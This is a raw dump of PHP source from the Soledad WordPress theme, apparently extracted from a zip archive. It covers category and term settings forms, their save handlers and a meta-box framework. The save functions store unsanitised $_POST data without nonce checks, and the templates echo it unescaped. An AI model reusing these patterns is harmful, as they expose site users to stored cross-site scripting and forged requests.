                    <option value="custom-sidebar-8" <?php selected( $cat_sidebar_left, 'custom-sidebar-8' ); ?>><?php _e( 'Custom                        Sidebar 8', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-9" <?php selected( $cat_sidebar_left, 'custom-sidebar-9' ); ?>><?php _e( 'Custom                        Sidebar 9', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-10" <?php selected( $cat_sidebar_left, 'custom-sidebar-10' ); ?>>                        <?php _e( 'Custom Sidebar 10', 'soledad' ); ?>                    </option>
					<?php Penci_Custom_Sidebar::get_list_sidebar( $cat_sidebar_left ); ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[mag_layout]"><?php esc_html_e( 'Select Featured Layout for Magazine Layout', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[mag_layout]" id="penci_categories[mag_layout]">
                    <option value="style-1" <?php selected( $mag_layout, 'style-1' ); ?>><?php _e( 'Style 1 - 1st Post Grid                        Featured on Left', 'soledad' ); ?>                    </option>
                    <option value="style-2" <?php selected( $mag_layout, 'style-2' ); ?>><?php _e( 'Style 2 - 1st Post Grid                        Featured on Top', 'soledad' ); ?>                    </option>
                    <option value="style-3" <?php selected( $mag_layout, 'style-3' ); ?>><?php _e( 'Style 3 - Text Overlay', 'soledad' ); ?></option>
                    <option value="style-4" <?php selected( $mag_layout, 'style-4' ); ?>><?php _e( 'Style 4 - Single Slider', 'soledad' ); ?>                    </option>
                    <option value="style-5" <?php selected( $mag_layout, 'style-5' ); ?>><?php _e( 'Style 5 - Slider 2 Columns', 'soledad' ); ?>                    </option>
                    <option value="style-6" <?php selected( $mag_layout, 'style-6' ); ?>><?php _e( 'Style 6 - 1st Post List                        Featured on Top', 'soledad' ); ?>                    </option>
                    <option value="style-7" <?php selected( $mag_layout, 'style-7' ); ?>><?php _e( 'Style 7 - Grid 2 Columns', 'soledad' ); ?></option>
                    <option value="style-8" <?php selected( $mag_layout, 'style-8' ); ?>><?php _e( 'Style 8 - List Layout', 'soledad' ); ?></option>
                    <option value="style-9" <?php selected( $mag_layout, 'style-9' ); ?>><?php _e( 'Style 9 - Small List Layout', 'soledad' ); ?>                    </option>
                    <option value="style-10" <?php selected( $mag_layout, 'style-10' ); ?>><?php _e( 'Style 10 - 2 First Posts                        Featured and List', 'soledad' ); ?>                    </option>
                    <option value="style-11" <?php selected( $mag_layout, 'style-11' ); ?>><?php _e( 'Style 11 - Text Overlay                        Center', 'soledad' ); ?>                    </option>
                    <option value="style-12" <?php selected( $mag_layout, 'style-12' ); ?>><?php _e( 'Style 12 - Slider 3 Columns', 'soledad' ); ?>                    </option>
                    <option value="style-13" <?php selected( $mag_layout, 'style-13' ); ?>><?php _e( 'Style 13 - Grid 3 Columns', 'soledad' ); ?>                    </option>
                    <option value="style-14" <?php selected( $mag_layout, 'style-14' ); ?>><?php _e( 'Style 14 - 1st Post Overlay                        Featured on Top', 'soledad' ); ?>                    </option>
                    <option value="style-15" <?php selected( $mag_layout, 'style-15' ); ?>><?php _e( 'Style 15 - Overlay Left then                        List on Right', 'soledad' ); ?>                    </option>
                </select>
                <p class="description"><?php _e( 'Use it to change the featured layout for this category when you use this layout as a featured category. Check more on <a href="https://www.youtube.com/watch?v=ajTm4J34DF0&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=7" target="_blank">this video tutorial</a>', 'soledad' ); ?></p>
            </td>
        </tr>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[mag_ads]"><?php esc_html_e( 'Add Google Adsense/Custom HTML Code below this category', 'soledad' ); ?></label>
            </th>
            <td>
				<textarea name="penci_categories[mag_ads]" id="penci_categories[mag_ads]" rows="5"
                          cols="50"><?php echo stripslashes( $mag_ads ); ?></textarea>
            </td>
        </tr>
		<?php
		$archive_layout   = array();
		$archive_layout[] = __( 'Default Template', 'soledad' );
		$archive_layouts  = get_posts(
			array(
				'post_type'      => 'archive-template',
				'posts_per_page' => - 1,
				'meta_query'     => array(
					'relation' => 'OR',
					array(
						'key'     => 'penci_desktop_page_id',
						'compare' => 'NOT EXISTS',
					),
					array(
						'key'     => 'penci_desktop_page_id',
						'value'   => '',
						'compare' => '=',
					),
				),
			)
		);
		foreach ( $archive_layouts as $alayout ) {
			$archive_layout[ $alayout->post_name ] = $alayout->post_title;
		}
		?>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_layout]"><?php esc_html_e( 'Select Custom Archive Template for this Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[penci_archive_layout]" id="penci_categories[penci_archive_layout]">
					<?php foreach ( $archive_layout as $alayout_slug => $alayout_name ) : ?>
                        <option value="<?php echo $alayout_slug; ?>" <?php selected( $alayout_slug, $alayout_save_slug ); ?>><?php echo $alayout_name; ?></option>
					<?php endforeach; ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_colors_single]"><?php esc_html_e( 'Apply these settings to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_colors_single]" id="penci_categories[cat_colors_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_sidebar_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_acolor]"><?php esc_html_e( 'Category Accent Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_acolor]"
                       name="penci_categories[penci_archive_acolor]" type="text"
                       value="<?php echo $archive_acolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_gtextcolor]"><?php esc_html_e( 'General Text Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_gtextcolor]"
                       name="penci_categories[penci_archive_gtextcolor]" type="text"
                       value="<?php echo $penci_archive_gtextcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_cbgcolor]"><?php esc_html_e( 'Custom Background Color for Body', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_cbgcolor]"
                       name="penci_categories[penci_archive_cbgcolor]" type="text"
                       value="<?php echo $penci_archive_cbgcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_bdcolor]"><?php esc_html_e( 'Custom General Borders Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_bdcolor]"
                       name="penci_categories[penci_archive_bdcolor]" type="text"
                       value="<?php echo $penci_archive_bdcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_bgcolor]"><?php esc_html_e( 'Category Name Background Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_bgcolor]"
                       name="penci_categories[penci_archive_bgcolor]" type="text"
                       value="<?php echo $archive_bgcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_color]"><?php esc_html_e( 'Category Name Text Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_color]"
                       name="penci_categories[penci_archive_color]" type="text"
                       value="<?php echo $archive_color; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archivepage_color]"><?php esc_html_e( 'Category Text Color on Category Page (Apply for Penci Cat Default Style)', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archivepage_color]"
                       name="penci_categories[penci_archivepage_color]" type="text"
                       value="<?php echo $archivepage_color; ?>"/>
            </td>
        </tr>

		<?php if ( get_theme_mod( 'penci_speed_remove_css' ) ) : ?>
            <tr class="form-field" data-panel="general">
                <th scope="row">
                    <label for="penci_categories[penci_critical_css]"><?php esc_html_e( 'Create a Separate Critical CSS cache for this Category?', 'soledad' ); ?></label>
                </th>
                <td>
                    <select name="penci_categories[penci_critical_css]" id="penci_categories[penci_critical_css]">
                        <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $penci_critical_css, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </td>
            </tr>
		<?php
		endif;
		echo '</tbody></table></div>';
	}
}

// Save data
if ( ! function_exists( 'penci_save_category_fileds_meta' ) ) {

	add_action( 'init', function () {
		$post_taxonomies = get_object_taxonomies( 'post' );

		foreach ( $post_taxonomies as $tname ) {
			add_action( 'edited_' . $tname, 'penci_save_category_fileds_meta' );
		}
	} );

	function penci_save_category_fileds_meta( $term_id ) {
		if ( isset( $_POST['penci_categories'] ) ) {
			$t_id             = $term_id;
			$penci_categories = get_option( "category_$t_id" );
			$cat_keys         = array_keys( $_POST['penci_categories'] );
			foreach ( $cat_keys as $key ) {
				if ( isset( $_POST['penci_categories'][ $key ] ) ) {
					$penci_categories[ $key ] = $_POST['penci_categories'][ $key ];
				}
			}
			// save the option array
			update_option( "category_$t_id", $penci_categories );
		} else if ( isset( $_POST['penci_term_data'] ) ) {
			$option_name = 'penci_tax_' . $term_id;

			$penci_term_data = get_option( $option_name );
			$cat_keys        = array_keys( $_POST['penci_term_data'] );
			foreach ( $cat_keys as $key ) {
				if ( isset( $_POST['penci_term_data'][ $key ] ) && $key ) {
					$penci_term_data[ $key ] = $_POST['penci_term_data'][ $key ];
				}
			}

			update_option( $option_name, $penci_term_data );

		}
	}
}


// add thumbnail meta
// Create markup
if ( ! function_exists( 'penci_term_fields_meta' ) ) {

	add_action(
		'init',
		function () {
			$post_taxonomies = get_object_taxonomies( 'post' );

			foreach ( $post_taxonomies as $tname ) {
				if ( $tname != 'category' ) {
					add_action( $tname . '_edit_form', 'penci_term_fields_meta' );
				}
			}
		}
	);

	function penci_term_fields_meta( $tag ) {
		$t_id                     = $tag->term_id;
		$tax_data                 = get_taxonomy( $tag->taxonomy );
		$option_name              = 'penci_tax_' . $t_id;
		$penci_categories         = get_option( $option_name );
		$default_thumb            = PENCI_SOLEDAD_URL . '/images/nothumb.jpg';
		$thumb_id                 = isset( $penci_categories['thumbnail_id'] ) ? $penci_categories['thumbnail_id'] : '';
		$archive_acolor           = isset( $penci_categories['penci_archive_acolor'] ) ? $penci_categories['penci_archive_acolor'] : '';
		$penci_archive_gtextcolor = isset( $penci_categories['penci_archive_gtextcolor'] ) ? $penci_categories['penci_archive_gtextcolor'] : '';
		$penci_archive_cbgcolor   = isset( $penci_categories['penci_archive_cbgcolor'] ) ? $penci_categories['penci_archive_cbgcolor'] : '';
		$penci_archive_bdcolor    = isset( $penci_categories['penci_archive_bdcolor'] ) ? $penci_categories['penci_archive_bdcolor'] : '';
		$cat_header               = isset( $penci_categories['cat_header'] ) ? $penci_categories['cat_header'] : '';
		$cat_header_builder       = isset( $penci_categories['cat_header_builder'] ) ? $penci_categories['cat_header_builder'] : '';
		$cat_header_block         = isset( $penci_categories['cat_header_block'] ) ? $penci_categories['cat_header_block'] : '';
		$thumb_url                = $thumb_id ? wp_get_attachment_image_url( $penci_categories['thumbnail_id'] ) : $default_thumb;
		?>
        <div class="penci-cat-option-forms-ul">
            <ul>
                <li><a data-panel="general" class="active" href="#"><?php _e( 'Colors', 'soledad' ); ?></a></li>
                <li><a data-panel="header" href="#"><?php _e( 'Header', 'soledad' ); ?></a></li>
            </ul>
        </div>
        <div class="penci-cat-option-forms">
            <table class="form-table" role="presentation">
                <tbody>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_acolor]"><?php echo sprintf( esc_html__( '%s Accent Color', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_acolor]"
                               name="penci_term_data[penci_archive_acolor]" type="text"
                               value="<?php echo $archive_acolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_gtextcolor]"><?php esc_html_e( 'General Text Color', 'soledad' ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_gtextcolor]"
                               name="penci_term_data[penci_archive_gtextcolor]" type="text"
                               value="<?php echo $penci_archive_gtextcolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_cbgcolor]"><?php esc_html_e( 'Custom Background Color for Body', 'soledad' ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_cbgcolor]"
                               name="penci_term_data[penci_archive_cbgcolor]" type="text"
                               value="<?php echo $penci_archive_cbgcolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_bdcolor]"><?php esc_html_e( 'Custom General Borders Color', 'soledad' ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_bdcolor]"
                               name="penci_term_data[penci_archive_bdcolor]" type="text"
                               value="<?php echo $penci_archive_bdcolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="header">
                    <th scope="row" valign="top">
                        <label for="cat_header"><?php echo sprintf( esc_html__( 'Select Header Layout for this %s', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
						<?php
						$header_layout_options = array(
							''          => __( 'Default ( follow Customize )', 'soledad' ),
							'header-1'  => __( 'Header 1', 'soledad' ),
							'header-2'  => __( 'Header 2', 'soledad' ),
							'header-3'  => __( 'Header 3', 'soledad' ),
							'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
							'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
							'header-6'  => __( 'Header 6', 'soledad' ),
							'header-7'  => __( 'Header 7', 'soledad' ),
							'header-8'  => __( 'Header 8', 'soledad' ),
							'header-9'  => __( 'Header 9', 'soledad' ),
							'header-10' => __( 'Header 10', 'soledad' ),
							'header-11' => __( 'Header 11', 'soledad' ),
						);
						?>
                        <select name="penci_term_data[cat_header]" id="penci_term_data[cat_header]">
							<?php
							foreach ( $header_layout_options as $slug => $name ) {
								echo '<option value="' . $slug . '" ' . selected( $cat_header, $slug ) . '>' . $name . '</option>';
							} ?>
                        </select>
                    </td>
                </tr>
                <tr class="form-field" data-panel="header">
                    <th scope="row" valign="top">
                        <label for="cat_header_builder"><?php echo sprintf( esc_html__( 'Select Header Builder Layout for this %s', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
						<?php
						$header_options     = [];
						$header_options[''] = __( 'Default ( follow Customize )', 'soledad' );
						$header_layouts     = get_posts( [
							'post_type'      => 'penci_builder',
							'posts_per_page' => - 1,
						] );
						foreach ( $header_layouts as $header_builder ) {
							$header_options[ $header_builder->post_name ] = $header_builder->post_title;
						}
						?>
                        <select name="penci_term_data[cat_header_builder]" id="penci_term_data[cat_header_builder]">
							<?php
							foreach ( $header_options as $slug => $name ) {
								echo '<option value="' . $slug . '" ' . selected( $cat_header_builder, $slug ) . '>' . $name . '</option>';
							} ?>
                        </select>
                    </td>
                </tr>
                <tr class="form-field" data-panel="header">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[cat_header_block]"><?php echo sprintf( esc_html__( 'Select Penci Block use as Header for this %s', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
                        <?php
                        $header_block_options     = [];
                        $header_block_options[''] = __( 'Default ( follow Customize )', 'soledad' );
                        $header_block_layouts     = get_posts( [
                            'post_type'      => 'penci-block',
                            'posts_per_page' => - 1,
                        ] );
                        foreach ( $header_block_layouts as $header_block_name ) {
                            $header_block_options[ $header_block_name->post_name ] = $header_block_name->post_title;
                        }
                        ?>
                        <select name="penci_term_data[cat_header_block]" id="penci_term_data[cat_header_block]">
                            <?php
                            foreach ( $header_block_options as $slug => $name ) {
                                echo '<option value="' . $slug . '" ' . selected( $cat_header_block, $slug ) . '>' . $name . '</option>';
                            } ?>
                        </select>
                    </td>
                </tr>
                <tr class="form-field term-thumbnail-wrap" data-panel="general">
                    <th scope="row" valign="top">
                        <label><?php esc_html_e( 'Thumbnail', 'soledad' ); ?></label>
                    </th>
                    <td>

                        <div id="pc_term_thumbnail" style="margin-bottom:10px;"><img
                                    src="<?php echo esc_url( $thumb_url ); ?>" width="60px" height="60px"/></div>

                        <div style="line-height: 60px;">
                            <input type="hidden" value="<?php echo $thumb_id; ?>" id="penci_categories_thumbnail_id"
                                   name="penci_term_data[thumbnail_id]"/>
                            <button type="button"
                                    class="upload_image_button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                            <button type="button"
                                    class="remove_image_button button"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
                        </div>
                    <td>
                        <script type="text/javascript">

                          // Only show the "remove image" button when needed
                          if (!jQuery('#penci_categories_thumbnail_id').val()) {
                            jQuery('.remove_image_button').hide()
                          }

                          // Uploading files
                          var file_frame

                          jQuery(document).on('click', '.upload_image_button', function (event) {

                            event.preventDefault()

                            // If the media frame already exists, reopen it.
                            if (file_frame) {
                              file_frame.open()
                              return
                            }

                            // Create the media frame.
                            file_frame = wp.media.frames.downloadable_file = wp.media({
                              title: '<?php esc_html_e( 'Choose an image', 'soledad' ); ?>',
                              button: {
                                text: '<?php esc_html_e( 'Use image', 'soledad' ); ?>',
                              },
                              multiple: false,
                            })

                            // When an image is selected, run a callback.
                            file_frame.on('select', function () {
                              var attachment = file_frame.state().get('selection').first().toJSON()
                              var attachment_thumbnail = attachment.sizes.thumbnail || attachment.sizes.full

                              jQuery('#penci_categories_thumbnail_id').val(attachment.id)
                              jQuery('#pc_term_thumbnail').find('img').attr('src', attachment_thumbnail.url)
                              jQuery('.remove_image_button').show()
                            })

                            // Finally, open the modal.
                            file_frame.open()
                          })

                          jQuery(document).on('click', '.remove_image_button', function () {
                            jQuery('#pc_term_thumbnail').
                              find('img').
                              attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                            jQuery('#penci_categories_thumbnail_id').val('')
                            jQuery('.remove_image_button').hide()
                            return false
                          })

                          jQuery(document).ajaxComplete(function (event, request, options) {
                            if (request && 4 === request.readyState && 200 === request.status
                              && options.data && 0 <= options.data.indexOf('action=add-tag')) {

                              var res = wpAjax.parseAjaxResponse(request.responseXML, 'ajax-response')
                              if (!res || res.errors) {
                                return
                              }
                              // Clear Thumbnail fields on submit
                              jQuery('#pc_term_thumbnail').
                                find('img').
                                attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                              jQuery('#penci_categories_thumbnail_id').val('')
                              jQuery('.remove_image_button').hide()
                              // Clear Display type field on submit
                              jQuery('#display_type').val('')
                              return
                            }
                          })

                        </script>
                </tr>

                </tbody>
            </table>
        </div>

		<?php
	}
}
PK     N\ke  e    inc/meta-box/meta-box-array.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if( ! class_exists( 'PENCI_FW_MetaBox' ) ):
	class PENCI_FW_MetaBox{

		private static $_instance = null;

		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}
			return self::$_instance;
		}

		public function __construct() {

			// Uses priority 20 to support custom port types registered using the default priority.
			add_action( 'init', array( $this, 'register_meta_boxes' ), 20 );

			add_action( 'admin_enqueue_scripts', array( $this, 'add_admin_scripts' ), 10, 1 );

			$this->load_files();
		}

		public function load_files() {
			// Creating meta boxes
			require_once  PENCI_SOLEDAD_DIR . '/inc/meta-box/inc/add-meta-box.php';
			require_once  PENCI_SOLEDAD_DIR . '/inc/meta-box/inc/fields.php';
			require_once  PENCI_SOLEDAD_DIR . '/inc/meta-box/register/page.php';
		}

		/**
		 * Register meta boxes.
		 */
		public function register_meta_boxes() {
			$configs = apply_filters( 'penci_meta_boxes', array() );

			foreach ( $configs as $config ) {
				new Penci_Add_Meta_Box( $config );
			}
		}

		/**
		 * Enqueue scripts on custom post add/edit pages
		 *
		 * @param $hook
		 */
		function add_admin_scripts( $hook ) {
			if ( in_array( $hook, array( 'post-new.php','post.php', 'edit-tags.php','term.php' ) ) ) {

				wp_enqueue_style( 'wp-color-picker' );
				wp_enqueue_script( 'wp-color-picker' );
				wp_enqueue_media();

				wp_enqueue_script(  'penci-custom-gallery-options', PENCI_SOLEDAD_URL .'/js/admin-gallery.js', array( 'jquery','media-views', 'wp-color-picker' ), PENCI_SOLEDAD_VERSION, true );
				wp_localize_script( 'penci-custom-gallery-options', 'PenciObject', array(
					'WidgetImageTitle'   => esc_html__( 'Select an image', 'soledad' ),
					'WidgetImageButton'  => esc_html__( 'Insert into widget', 'soledad' ),
					'ajaxUrl'            => admin_url( 'admin-ajax.php' ),
					'nonce'              => wp_create_nonce( 'ajax-nonce' ),
				) );

				wp_enqueue_style( 'penci-admin-post', PENCI_SOLEDAD_URL . '/css/admin.css', '', PENCI_SOLEDAD_VERSION );
			}
		}
	}

	new PENCI_FW_MetaBox;
endif;
PK     N\Md^;  ;  !  inc/meta-box/inc/add-meta-box.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * Register a meta box using a class.
 */
class Penci_Add_Meta_Box {

	/**
	 * Meta box parameters.
	 *
	 * @var array
	 */
	public $meta_box;

	/**
	 * Constructor.
	 */
	public function __construct( $meta_box ) {
		if( ! $meta_box  ) {
			return;
		}

		$this->meta_box = $meta_box;

		if ( is_admin() ) {
			add_action( 'load-post.php',     array( $this, 'init_metabox' ) );
			add_action( 'load-post-new.php', array( $this, 'init_metabox' ) );
		}
	}

	/**
	 * Meta box initialization.
	 */
	public function init_metabox() {
		add_action( 'add_meta_boxes', array( $this, 'add_metabox'  )        );
		add_action( 'save_post',      array( $this, 'save_metabox' ), 10, 2 );
	}

	/**
	 * Adds the meta box.
	 */
	public function add_metabox() {

		$metabox = $this->meta_box;

		if ( isset( $metabox['fields'] ) ) {
			unset( $metabox['fields'] );
		}

		add_meta_box(
			$metabox['id'],
			$metabox['title'],
			array( $this, 'render_metabox' ),
			$metabox['post_types'],
			$metabox['context'],
			$metabox['priority']
		);

	}

	/**
	 * Renders the meta box.
	 */
	public function render_metabox( $post ) {

		$metabox = $this->meta_box;
		$tabs = isset( $metabox['tabs'] ) ? $metabox['tabs'] : array();

		$fields = isset( $metabox['fields'] ) ? $metabox['fields'] : array();
		if( ! $fields ) {
			return;
		}

		echo '<div class="penci-metabox-wrap">';

		if( $tabs ){
			echo '<ul class="penci-metabox-tabs">';
			$i = 0;
			foreach ( $tabs as $key => $tab_data ) {
				$class = "tab-$key";
				if ( ! $i ) {
					$class .= ' tab-active';
				}
				printf(
					'<li class="%s" data-panel="%s"><a href="#">%s%s</a></li>',
					esc_attr( $class ),
					esc_attr( $key ),
					$tab_data['icon'] ? '<i class="' . esc_attr( $tab_data['icon'] ) . '"></i>' : '',
					$tab_data['label'] ? $tab_data['label'] : ''
				);

				$i ++;
			} // End foreach().
			echo '</ul>';

			$group_tabs = array();
			foreach ( (array)$fields as  $field ){
				if ( ! isset( $field['tab'] ) ) {
					continue;
				}

				$tab_key = $field['tab'];

				$group_tabs[ $tab_key ][] = $field;
			}

			echo '<div class="penci-metabox-fields">';
			foreach ( (array)$group_tabs as $tab =>  $fields ){

				echo '<div class="penci-tab-panel penci-tab-panel-' . esc_attr( $tab ) . '">';
				foreach ( (array)$fields as  $field ){
					PENCI_FW_MetaBox_Fields::html_field( $field, $post->ID, 'post', $tab );
				}
				echo '</div>';
			}
			echo '</div>';
		}else{
			echo '<div class="penci-metabox-fields">';
			foreach ( (array)$fields as  $field ){
				PENCI_FW_MetaBox_Fields::html_field( $field, $post->ID );
			}
			echo '</div>';
		}


		echo '</div>';
	}


	/**
	 * Save the meta when the post is saved.
	 *
	 * @param $post_id
	 *
	 * @return mixed
	 */
	public function save_metabox( $post_id ) {



		$metabox = $this->meta_box;

		$metabox_post_type = isset( $metabox['post_types'] ) ? $metabox['post_types'] : array();
		$current_post_type = isset( $_POST['post_type'] ) ? $_POST['post_type'] : '';

		if( ! in_array( $current_post_type, $metabox_post_type ) ) {
			return;
		}


		$tabs = isset( $metabox['tabs'] ) ? $metabox['tabs'] : array();

		$fields = isset( $metabox['fields'] ) ? $metabox['fields'] : array();
		if( ! $fields ) {
			return;
		}

		if( $tabs ){
			$group_tabs = array();
			foreach ( (array)$fields as  $field ){
				if ( ! isset( $field['tab'] ) ) {
					continue;
				}

				$tab_key  = isset( $field['tab'] ) ? $field['tab'] : '';
				$field_id = isset( $field['id'] ) ? $field['id'] : '';

				if( ! $tab_key || ! $field_id ) {
					continue;
				}

				$value_field = isset( $_POST[ $field_id ] ) ? $_POST[ $field_id ] : '';
				if ( 'checkbox' == $field['type'] ) {
					$value_field =  $value_field ? '1' : '';
				}

				$group_tabs[ $tab_key ][$field_id] = $value_field;
			}

			foreach ( (array) $group_tabs as $tab => $fields ) {
				update_post_meta( $post_id, 'penci_pmeta_' . $tab, $fields );
			}
		}else{
			foreach ( (array)$fields as  $field ){
				$this->save_field( $field, $post_id );
			}
		}
	}

	/**
	 * Save field
	 *
	 * @param $field
	 * @param $post_id
	 */
	public function save_field( $field, $post_id ) {
		$defaults = array(
			'id'   => '',
			'type' => ''
		);
		$field    = wp_parse_args( $field, $defaults );

		$field_id    = $field['id'];
		$value_field = isset( $_POST[ $field_id ] ) ? $_POST[ $field_id ] : '';
		$value_field = sanitize_text_field( $value_field );

		if ( 'checkbox' == $field['type'] ) {
			update_post_meta( $post_id, $field_id, ( $value_field ? '1' : '' ) );
		} else {
			update_post_meta( $post_id, $field_id, $value_field );
		}


	}

}PK     N\	%F  F    inc/meta-box/inc/fields.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'PENCI_FW_MetaBox_Fields' ) ):
	class PENCI_FW_MetaBox_Fields {

		public static $post_id = 0;
		public static $type = 'post';
		public static $tab = '';

		public static function html_field( $field, $post_id, $type = 'post', $tab = array() ) {
			$defaults = array(
				'id'          => '',
				'type'        => '',
				'name'        => '',
				'desc'        => '',
				'std'         => '',
				'placeholder' => '',
				'min'         => '',
				'max'         => '',
				'style'       => '',
				'options'     => array(),
			);

			self::$post_id = $post_id;
			self::$type    = $type;
			self::$tab     = $tab;

			$field = wp_parse_args( $field, $defaults );

			switch ( $field['type'] ) {
				case 'text':
					self::html_field_text( $field );
					break;
				case 'number':
					self::html_field_number( $field );
					break;
				case 'textarea':
					self::html_field_textarea( $field );
					break;
				case 'wysiwyg':
					self::html_field_wysiwyg( $field );
					break;
				case 'checkbox':
					self::html_field_checkbox( $field );
					break;
				case 'select':
					self::html_field_select( $field );
					break;
				case 'image_select':
					self::html_field_image_select( $field );
					break;
				case 'color':
					self::html_field_color( $field );
					break;
				case 'image':
					self::html_field_image( $field );
					break;
				case 'custom_html':
					self::html_field_custom_html( $field );
					break;
				case 'srart_accordion':
					self::html_field_srart_accordion( $field );
					break;
				case 'end_accordion':
					self::html_field_end_accordion( $field );
					break;
				case 'tab_general_options':
					self::get_meta_box_general();
					break;
			}
		}

		public static function get_meta_box_general() {

			// Add an nonce field so we can check for it later.
			wp_nonce_field( 'penci_inner_custom_box', 'penci_inner_custom_box_nonce' );

			// Use get_post_meta to retrieve an existing value from the database.
			$value                   = get_post_meta( self::$post_id, 'penci_custom_sidebar_page_display', true );
			$value_left              = get_post_meta( self::$post_id, 'penci_custom_sidebar_left_page_field', true );
			$slider                  = get_post_meta( self::$post_id, 'penci_page_slider', true );
			$featured_boxes          = get_post_meta( self::$post_id, 'penci_page_display_featured_boxes', true );
			$pagetitle               = get_post_meta( self::$post_id, 'penci_page_display_title', true );
			$breadcrumb              = get_post_meta( self::$post_id, 'penci_page_breadcrumb', true );
			$sharebox                = get_post_meta( self::$post_id, 'penci_page_sharebox', true );
			$rev_shortcode           = get_post_meta( self::$post_id, 'penci_page_rev_shortcode', true );
			$hide_header             = get_post_meta( self::$post_id, 'penci_page_hide_header', true );
			$hide_footer             = get_post_meta( self::$post_id, 'penci_page_hide_footer', true );
			$page_sidebar            = get_post_meta( self::$post_id, 'penci_sidebar_page_pos', true );
			$penci_helpful_enable    = get_post_meta( self::$post_id, 'penci_helpful_enable', true );
			$penci_page_dis_ads      = get_post_meta( self::$post_id, 'penci_page_dis_ads', true );
			$penci_post_critical_css = get_post_meta( self::$post_id, 'penci_post_critical_css', true );
			$penci_desktop_page_id   = get_post_meta( self::$post_id, 'penci_desktop_page_id', true );
			$penci_desktop_page_id   = ( isset( $_REQUEST['desktop_id'] ) && $_REQUEST['desktop_id'] ) ? $_REQUEST['desktop_id'] : $penci_desktop_page_id;
			?>
			<?php if ( $penci_desktop_page_id ) : ?>

